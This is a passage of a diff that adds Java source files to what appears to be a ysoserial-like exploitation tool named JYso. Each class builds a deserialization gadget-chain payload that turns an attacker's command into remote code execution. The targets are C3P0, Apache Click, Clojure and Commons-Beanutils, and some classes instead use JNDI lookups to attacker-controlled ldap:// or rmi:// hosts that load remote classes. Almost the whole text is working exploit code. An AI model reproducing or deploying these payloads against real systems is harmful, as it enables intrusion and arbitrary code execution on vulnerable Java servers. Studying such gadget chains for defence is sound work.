||||||
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
|
HashMap hashMap = new HashMap();
|
||||||
|
hashMap.put(o, val);
|
||||||
|
return hashMap;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.alibaba.fastjson.JSONArray;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||||
|
@Authors({Authors.Unam4})
|
||||||
|
public class C3P0JNDI implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
|
command = command.substring(5);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||||
|
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
|
||||||
|
Reflections.setFieldValue(o,"jndiName",command);
|
||||||
|
Reflections.setFieldValue(o,"identityToken","exp");
|
||||||
|
JSONArray jsonArray = new JSONArray();
|
||||||
|
jsonArray.add(o);
|
||||||
|
|
||||||
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
|
valfield.setAccessible(true);
|
||||||
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
|
HashMap hashMap = new HashMap();
|
||||||
|
hashMap.put(o, val);
|
||||||
|
return hashMap;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.alibaba.fastjson.JSONArray;
|
||||||
|
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||||
|
@Authors({Authors.Unam4})
|
||||||
|
public class C3P0JNDI2 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
|
command = command.substring(5);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||||
|
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||||
|
}
|
||||||
|
|
||||||
|
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
|
||||||
|
o.setJndiName(command);
|
||||||
|
JSONArray jsonArray = new JSONArray();
|
||||||
|
jsonArray.add(o);
|
||||||
|
|
||||||
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
|
valfield.setAccessible(true);
|
||||||
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
|
HashMap hashMap = new HashMap();
|
||||||
|
hashMap.put(o, val);
|
||||||
|
return hashMap;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
public class C3P0RefDataSource implements ObjectPayload{
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
|
||||||
|
// // requires ordering
|
||||||
|
// Reflections.setFieldValue(obj, "jndiName", command);
|
||||||
|
// Reflections.setFieldValue(obj, "loginTimeout", 0);
|
||||||
|
// return obj;
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.codec.binary.Hex;
|
||||||
|
|
||||||
|
import javax.naming.Name;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.net.URI;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
|
||||||
|
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
URI uri = new URI(command);
|
||||||
|
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||||
|
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
|
||||||
|
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
|
||||||
|
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
|
||||||
|
ByteArrayOutputStream b = new ByteArrayOutputStream();
|
||||||
|
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
|
||||||
|
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
|
||||||
|
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
|
||||||
|
con.setAccessible(true);
|
||||||
|
Reference jndiref = new Reference("Foo", clazz, codebase);
|
||||||
|
Object ref = con.newInstance(jndiref, null, null, null);
|
||||||
|
oos.writeObject(ref);
|
||||||
|
}
|
||||||
|
|
||||||
|
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.click.control.Column;
|
||||||
|
import org.apache.click.control.Table;
|
||||||
|
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||||
|
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||||
|
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||||
|
* <p>
|
||||||
|
* Chain:
|
||||||
|
* <p>
|
||||||
|
* java.util.PriorityQueue.readObject()
|
||||||
|
* java.util.PriorityQueue.heapify()
|
||||||
|
* java.util.PriorityQueue.siftDown()
|
||||||
|
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||||
|
* org.apache.click.control.Column$ColumnComparator.compare()
|
||||||
|
* org.apache.click.control.Column.getProperty()
|
||||||
|
* org.apache.click.control.Column.getProperty()
|
||||||
|
* org.apache.click.util.PropertyUtils.getValue()
|
||||||
|
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||||
|
* java.lang.reflect.Method.invoke()
|
||||||
|
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||||
|
* ...
|
||||||
|
* <p>
|
||||||
|
* Arguments:
|
||||||
|
* - command to execute
|
||||||
|
* <p>
|
||||||
|
* Yields:
|
||||||
|
* - RCE via TemplatesImpl.getOutputProperties()
|
||||||
|
* <p>
|
||||||
|
* Requires:
|
||||||
|
* - Apache Click
|
||||||
|
* - servlet-api of any version
|
||||||
|
* <p>
|
||||||
|
* by @artsploit
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||||
|
@Authors({Authors.ARTSPLOIT})
|
||||||
|
public class Click1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
// prepare a Column.comparator with mock values
|
||||||
|
final Column column = new Column("lowestSetBit");
|
||||||
|
column.setTable(new Table());
|
||||||
|
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||||
|
|
||||||
|
// create queue with numbers and our comparator
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
// stub data for replacement later
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
|
||||||
|
// switch method called by the comparator,
|
||||||
|
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||||
|
column.setName("outputProperties");
|
||||||
|
|
||||||
|
// finally, we inject and new TemplatesImpl object into the queue,
|
||||||
|
// so its getOutputProperties() method will be called
|
||||||
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
queueArray[0] = template;
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import clojure.core$comp;
|
||||||
|
import clojure.core$constantly;
|
||||||
|
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||||
|
import clojure.lang.PersistentArrayMap;
|
||||||
|
import clojure.main$eval_opt;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gadget chain:
|
||||||
|
* ObjectInputStream.readObject()
|
||||||
|
* HashMap.readObject()
|
||||||
|
* AbstractTableModel$ff19274a.hashCode()
|
||||||
|
* clojure.core$comp$fn__4727.invoke()
|
||||||
|
* clojure.core$constantly$fn__4614.invoke()
|
||||||
|
* clojure.main$eval_opt.invoke()
|
||||||
|
* <p>
|
||||||
|
* Requires:
|
||||||
|
* org.clojure:clojure
|
||||||
|
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||||
|
@Authors({JACKOFMOSTTRADES})
|
||||||
|
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||||
|
|
||||||
|
public Map<?, ?> getObject(String command) throws Exception {
|
||||||
|
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||||
|
Map<String, Object> fnMap = new HashMap<>();
|
||||||
|
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||||
|
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||||
|
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||||
|
HashMap<Object, Object> targetMap = new HashMap<>();
|
||||||
|
targetMap.put(model, null);
|
||||||
|
fnMap.put("hashCode", (new core$comp())
|
||||||
|
.invoke(new main$eval_opt(), (new core$constantly())
|
||||||
|
.invoke(clojurePayload)));
|
||||||
|
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||||
|
return targetMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||||
|
@Authors({Authors.FROHOFF})
|
||||||
|
public class CommonsBeanutils1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||||
|
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
|
||||||
|
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||||
|
|
||||||
|
Class beanCompareClazz = ctClass.toClass();
|
||||||
|
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
|
||||||
|
// switch method called by comparator
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||||
|
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
// 修改BeanComparator类的serialVersionUID
|
||||||
|
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||||
|
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
|
||||||
|
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||||
|
|
||||||
|
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||||
|
setFieldValue(comparator, "property", "lowestSetBit");
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
|
queueArray[0] = templates;
|
||||||
|
queueArray[1] = templates;
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
|
||||||
|
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
final Object templates;
|
||||||
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
// 修改BeanComparator类的serialVersionUID
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||||
|
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
|
||||||
|
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||||
|
|
||||||
|
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||||
|
Reflections.setFieldValue(comparator, "property", null);
|
||||||
|
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||||
|
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
// stub data for replacement later
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||||
|
ctBeanComparator.defrost();
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.rowset.JdbcRowSetImpl;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
|
||||||
|
public class CommonsBeanutils3 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
String jndiURL = null;
|
||||||
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
|
jndiURL = command.substring(5);
|
||||||
|
}
|
||||||
|
|
||||||
|
BeanComparator comparator = new BeanComparator("lowestSetBit");
|
||||||
|
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||||
|
rs.setDataSourceName(jndiURL);
|
||||||
|
rs.setMatchColumn("QI4L");
|
||||||
|
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||||
|
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
|
||||||
|
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import com.sun.rowset.JdbcRowSetImpl;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||||
|
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
String jndiURL = null;
|
||||||
|
if (command.toLowerCase().startsWith("jndi:")) {
|
||||||
|
jndiURL = command.substring(5);
|
||||||
|
}
|
||||||
|
|
||||||
|
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||||
|
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
|
||||||
|
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||||
|
|
||||||
|
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||||
|
Reflections.setFieldValue(comparator, "property", null);
|
||||||
|
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||||
|
|
||||||
|
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||||
|
rs.setDataSourceName(jndiURL);
|
||||||
|
rs.setMatchColumn("su18");
|
||||||
|
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||||
|
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
||||||
|
|
||||||
|
ctBeanComparator.defrost();
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||||
|
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||||
|
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||||
|
@Authors({"水滴"})
|
||||||
|
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
AttrNSImpl attrNS1 = new AttrNSImpl();
|
||||||
|
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
|
||||||
|
attrNS1.setValues(coreDocument, "1", "1", "1");
|
||||||
|
|
||||||
|
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
|
||||||
|
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||||
|
|
||||||
|
queue.add(attrNS1);
|
||||||
|
queue.add(attrNS1);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||||
|
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||||
|
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtField;
|
||||||
|
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||||
|
@Authors({"SummerSec"})
|
||||||
|
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
final Object template;
|
||||||
|
template = Gadgets.createTemplatesImpl(command);
|
||||||
|
AttrNSImpl attrNS1 = new AttrNSImpl();
|
||||||
|
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
|
||||||
|
attrNS1.setValues(coreDocument, "1", "1", "1");
|
||||||
|
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||||
|
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||||
|
try {
|
||||||
|
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||||
|
ctBeanComparator.removeField(ctSUID);
|
||||||
|
} catch (javassist.NotFoundException e) {
|
||||||
|
}
|
||||||
|
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||||
|
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||||
|
|
||||||
|
ctBeanComparator.defrost();
|
||||||
|
|
||||||
|
Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||||
|
|
||||||
|
queue.add(attrNS1);
|
||||||
|
queue.add(attrNS1);
|
||||||
|
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||||
|
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||||
|
|
